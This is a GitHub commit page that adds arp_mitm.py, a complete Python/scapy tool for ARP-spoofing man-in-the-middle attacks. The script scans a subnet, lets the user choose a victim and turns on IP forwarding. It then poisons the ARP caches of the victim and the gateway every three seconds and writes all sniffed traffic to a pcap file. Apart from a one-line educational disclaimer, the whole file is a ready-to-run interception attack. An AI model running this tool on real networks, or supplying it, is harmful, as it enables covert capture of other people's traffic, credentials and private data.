Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit0275cf5

Browse files
authored
Create arp_mitm.py
1 parent465b267 commit0275cf5

File tree

1 file changed

+266
-0
lines changed

1 file changed

+266
-0
lines changed

‎arp_mitm.py

Lines changed: 266 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,266 @@
1+
#!/user/bin python3
2+
3+
# Disclaimer: This script is for educational purposes only.
4+
# Do not use against any network that you don't own or have authorization to test.
5+
# To run this script use:
6+
# sudo python3 arp_spoof.py -ip_range 10.0.0.0/24 (ex. 192.168.1.0/24)
7+
8+
importscapy.allasscapy
9+
importsubprocess
10+
importsys
11+
importtime
12+
importos
13+
fromipaddressimportIPv4Network
14+
importthreading
15+
16+
# We want the current working directory.
17+
cwd=os.getcwd()
18+
19+
20+
# Function to check whether the script was run with sudo privileges.
21+
# It will stop the execution if user didn't use sudo.
22+
defin_sudo_mode():
23+
"""If the user doesn't run the program with super user privileges, don't allow them to continue."""
24+
ifnot'SUDO_UID'inos.environ.keys():
25+
print("Try running this program with sudo.")
26+
exit()
27+
28+
29+
defarp_scan(ip_range):
30+
"""We use the arping method in scapy. It is a better implementation than writing your own arp scan. You'll often see that your own arp scan doesn't pick up
31+
mobile devices. You can see the way scapy implemented the function here: https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L726-L749
32+
Arguments: ip_range -> an example would be "10.0.0.0/24"
33+
"""
34+
# We create an empty list where we will store the pairs of ARP responses.
35+
arp_responses=list()
36+
# We send arp packets through the network, verbose is set to 0 so it won't show any output.
37+
# scapy's arping function returns two lists. We're interested in the answered results which is at the 0 index.
38+
answered_lst=scapy.arping(ip_range,verbose=0)[0]
39+
40+
# We loop through all the responses and add them to a dictionary and append them to the list arp_responses.
41+
forresinanswered_lst:
42+
# Every response will look something lke like -> {"ip" : "10.0.0.4", "mac" : "00:00:00:00:00:00"}
43+
arp_responses.append({"ip" :res[1].psrc,"mac" :res[1].hwsrc})
44+
45+
# We return the list of arp responses which contains dictionaries for every arp response.
46+
returnarp_responses
47+
48+
49+
defis_gateway(gateway_ip):
50+
"""We can see the gateway by running the route -n command
51+
Argument: The gateway_ip address which the program finds automatically should be supplied as an argument.
52+
"""
53+
# We run the command route -n which returns information about the gateways.
54+
result=subprocess.run(["route","-n"],capture_output=True).stdout.decode().split("\n")
55+
# Loop through every row in the route -n command.
56+
forrowinresult:
57+
# We look to see if the gateway_ip is in the row, if it is we return True. If False program continues flow and returns False.
58+
ifgateway_ipinrow:
59+
returnTrue
60+
61+
returnFalse
62+
63+
64+
defget_interface_names():
65+
"""The interface names of a networks are listed in the /sys/class/net folder in Kali. This function returns a list of interfaces in Kali."""
66+
# The interface names are directory names in the /sys/class/net folder. So we change the directory to go there.
67+
os.chdir("/sys/class/net")
68+
# We use the listdir() function from the os module. Since we know there won't be files and only directories with the interface names we can save the output as the interface names.
69+
interface_names=os.listdir()
70+
# We return the interface names which we will use to find out which one is the name of the gateway.
71+
returninterface_names
72+
73+
74+
defmatch_iface_name(row):
75+
# We get all the interface names by running the function defined above with the
76+
interface_names=get_interface_names()
77+
78+
# Check if the interface name is in the row. If it is then we return the iface name.
79+
forifaceininterface_names:
80+
ififaceinrow:
81+
returniface
82+
83+
84+
defgateway_info(network_info):
85+
"""We can see the gateway by running the route -n command. This get us the gateway information. We also need the name of the interface for the sniffer function.
86+
Arguments: network_info -> We supply the arp_scan() data.
87+
"""
88+
# We run route -n and capture the output.
89+
result=subprocess.run(["route","-n"],capture_output=True).stdout.decode().split("\n")
90+
# We declare an empty list for the gateways.
91+
gateways= []
92+
# We supplied the arp_scan() results (which is a list) as an argument to the network_info parameter.
93+
forifaceinnetwork_info:
94+
forrowinresult:
95+
# We want the gateway information to be saved to list called gateways. We know the ip of the gateway so we can compare and see in which row it appears.
96+
ififace["ip"]inrow:
97+
iface_name=match_iface_name(row)
98+
# Once we found the gateway, we create a dictionary with all of its names.
99+
gateways.append({"iface" :iface_name,"ip" :iface["ip"],"mac" :iface["mac"]})
100+
101+
returngateways
102+
103+
104+
defclients(arp_res,gateway_res):
105+
"""This function returns a list with only the clients. The gateway is removed from the list. Generally you did get the ARP response from the gateway at the 0 index
106+
but I did find that sometimes this may not be the case.
107+
Arguments: arp_res (The response from the ARP scan), gateway_res (The response from the gatway_info function.)
108+
"""
109+
# In the menu we only want to give you access to the clients whose arp tables you want to poison. The gateway needs to be removed.
110+
client_list= []
111+
forgatewayingateway_res:
112+
foriteminarp_res:
113+
# All items which are not the gateway will be appended to the client_list.
114+
ifgateway["ip"]!=item["ip"]:
115+
client_list.append(item)
116+
# return the list with the clients which will be used for the menu.
117+
returnclient_list
118+
119+
120+
defallow_ip_forwarding():
121+
""" Run this function to allow ip forwarding. The packets will flow through your machine, and you'll be able to capture them. Otherwise user will lose connection."""
122+
# You would normally run the command sysctl -w net.ipv4.ip_forward=1 to enable ip forwarding. We run this with subprocess.run()
123+
subprocess.run(["sysctl","-w","net.ipv4.ip_forward=1"])
124+
# Load in sysctl settings from the /etc/sysctl.conf file.
125+
subprocess.run(["sysctl","-p","/etc/sysctl.conf"])
126+
127+
128+
defarp_spoofer(target_ip,target_mac,spoof_ip):
129+
""" To update the ARP tables this function needs to be ran twice. Once with the gateway ip and mac, and then with the ip and mac of the target.
130+
Arguments: target ip address, target mac, and the spoof ip address.
131+
"""
132+
# We want to create an ARP response, by default op=1 which is "who-has" request, to op=2 which is a "is-at" response packet.
133+
# We can fool the ARP cache by sending a fake packet saying that we're at the router's ip to the target machine, and sending a packet to the router that we are at the target machine's ip.
134+
pkt=scapy.ARP(op=2,pdst=target_ip,hwdst=target_mac,psrc=spoof_ip)
135+
# ARP is a layer 3 protocol. So we use scapy.send(). We choose it to be verbose so we don't see the output.
136+
scapy.send(pkt,verbose=False)
137+
138+
139+
defsend_spoof_packets():
140+
# We need to send spoof packets to the gateway and the target device.
141+
whileTrue:
142+
# We send an arp packet to the gateway saying that we are the the target machine.
143+
arp_spoofer(gateway_info["ip"],gateway_info["mac"],node_to_spoof["ip"])
144+
# We send an arp packet to the target machine saying that we are gateway.
145+
arp_spoofer(node_to_spoof["ip"],node_to_spoof["mac"],gateway_info["ip"])
146+
# Tested time.sleep() with different values. 3s seems adequate.
147+
time.sleep(3)
148+
149+
150+
defpacket_sniffer(interface):
151+
""" This function will be a packet sniffer to capture all the packets sent to the computer whilst this computer is the MITM. """
152+
# We use the sniff function to sniff the packets going through the gateway interface. We don't store them as it takes a lot of resources. The process_sniffed_pkt is a callback function that will run on each packet.
153+
packets=scapy.sniff(iface=interface,store=False,prn=process_sniffed_pkt)
154+
155+
156+
defprocess_sniffed_pkt(pkt):
157+
""" This function is a callback function that works with the packet sniffer. It receives every packet that goes through scapy.sniff(on_specified_interface) and writes it to a pcap file"""
158+
print("Writing to pcap file. Press ctrl + c to exit.")
159+
# We append every packet sniffed to the requests.pcap file which we can inspect with Wireshark.
160+
scapy.wrpcap("requests.pcap",pkt,append=True)
161+
162+
163+
defprint_arp_res(arp_res):
164+
""" This function creates a menu where you can pick the device whose arp cache you want to poison. """
165+
# Program Header
166+
# Basic user interface header
167+
print(r"""______ _ _ ______ _ _
168+
| _ \ (_) | | | ___ \ | | | |
169+
| | | |__ ___ ___ __| | | |_/ / ___ _ __ ___ | |__ __ _| |
170+
| | | / _` \ \ / / |/ _` | | ___ \/ _ \| '_ ` _ \| '_ \ / _` | |
171+
| |/ / (_| |\ V /| | (_| | | |_/ / (_) | | | | | | |_) | (_| | |
172+
|___/ \__,_| \_/ |_|\__,_| \____/ \___/|_| |_| |_|_.__/ \__,_|_|""")
173+
print("\n****************************************************************")
174+
print("\n* Copyright of David Bombal, 2021 *")
175+
print("\n* https://www.davidbombal.com *")
176+
print("\n* https://www.youtube.com/davidbombal *")
177+
print("\n****************************************************************")
178+
print("ID\t\tIP\t\t\tMAC Address")
179+
print("_________________________________________________________")
180+
forid,resinenumerate(arp_res):
181+
# We are formatting the to print the id (number in the list), the ip and lastly the mac address.
182+
print("{}\t\t{}\t\t{}".format(id,res['ip'],res['mac']))
183+
whileTrue:
184+
try:
185+
# We have to verify the choice. If the choice is valid then the function returns the choice.
186+
choice=int(input("Please select the ID of the computer whose ARP cache you want to poison (ctrl+z to exit): "))
187+
ifarp_res[choice]:
188+
returnchoice
189+
except:
190+
print("Please enter a valid choice!")
191+
192+
193+
defget_cmd_arguments():
194+
""" This function validates the command line arguments supplied on program start-up"""
195+
ip_range=None
196+
# Ensure that they supplied the correct command line arguments.
197+
iflen(sys.argv)-1>0andsys.argv[1]!="-ip_range":
198+
print("-ip_range flag not specified.")
199+
returnip_range
200+
eliflen(sys.argv)-1>0andsys.argv[1]=="-ip_range":
201+
try:
202+
# If IPv4Network(3rd paramater is not a valid ip range, then will kick you to the except block.)
203+
print(f"{IPv4Network(sys.argv[2])}")
204+
# If it is valid it will assign the ip_range from the 3rd parameter.
205+
ip_range=sys.argv[2]
206+
print("Valid ip range entered through command-line.")
207+
except:
208+
print("Invalid command-line argument supplied.")
209+
210+
returnip_range
211+
212+
213+
# Checks if program ran in sudo mode
214+
in_sudo_mode()
215+
216+
# Gets the ip range using the get_cmd_arguments()
217+
ip_range=get_cmd_arguments()
218+
219+
# If the ip range is not valid, it would've assigned a None value and the program will exit from here.
220+
ifip_range==None:
221+
print("No valid ip range specified. Exiting!")
222+
exit()
223+
224+
# If we don't run this function the internet will be down for the user.
225+
allow_ip_forwarding()
226+
227+
# Do the arp scan. The function returns a list of all clients.
228+
arp_res=arp_scan(ip_range)
229+
230+
# If there is no connection exit the script.
231+
iflen(arp_res)==0:
232+
print("No connection. Exiting, make sure devices are active or turned on.")
233+
exit()
234+
235+
# The function runs route -n command. Returns a list with the gateway in a dictionary.
236+
gateways=gateway_info(arp_res)
237+
238+
# The gateway will be in position 0 of the list, for easy use we just assign it to a variable.
239+
gateway_info=gateways[0]
240+
241+
# The gateways are removed from the clients.
242+
client_info=clients(arp_res,gateways)
243+
244+
# If there are no clients, then the program will exit from here.
245+
iflen(client_info)==0:
246+
print("No clients found when sending the ARP messages. Exiting, make sure devices are active or turned on.")
247+
exit()
248+
249+
# Show the menu and assign the choice from the function to the variable -> choice
250+
choice=print_arp_res(client_info)
251+
252+
# Select the node to spoof from the client_info list.
253+
node_to_spoof=client_info[choice]
254+
255+
# get_interface_names()
256+
257+
# Setup the thread in the background which will send the arp spoof packets.
258+
t1=threading.Thread(target=send_spoof_packets,daemon=True)
259+
# Start the thread.
260+
t1.start()
261+
262+
# Change the directory again to the directory which contains the script, so it is a place where you have write privileges,
263+
os.chdir(cwd)
264+
265+
# Run the packet sniffer on the interface. So we can capture all the packets and save it to a pcap file that can be opened in Wireshark.
266+
packet_sniffer(gateway_info["iface"])

0 commit comments

Comments
 (0)

[8]ページ先頭

©2009-2025 Movatter.jp